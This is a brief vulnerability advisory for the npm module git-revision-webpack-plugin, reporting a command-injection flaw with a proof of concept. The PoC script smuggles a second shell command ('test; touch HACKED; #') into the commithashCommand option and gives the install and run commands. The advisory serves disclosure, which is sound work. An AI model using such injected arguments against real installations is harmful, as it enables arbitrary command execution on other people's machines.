git-revision-webpack-plugin

vulnerability remote code execution
severity 3.8
language shell
registry npm

Description

The git-revision-webpack-plugin module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection

POC

  1. Create the following PoC file:
// poc.js
var GitRevisionPlugin = require('git-revision-webpack-plugin');
var test = new GitRevisionPlugin({'gitWorkTree':'s', 'commithashCommand':'test; touch HACKED; #', 'branchCommand':'s'});
test.commithash();

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i git-revision-webpack-plugin # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created

References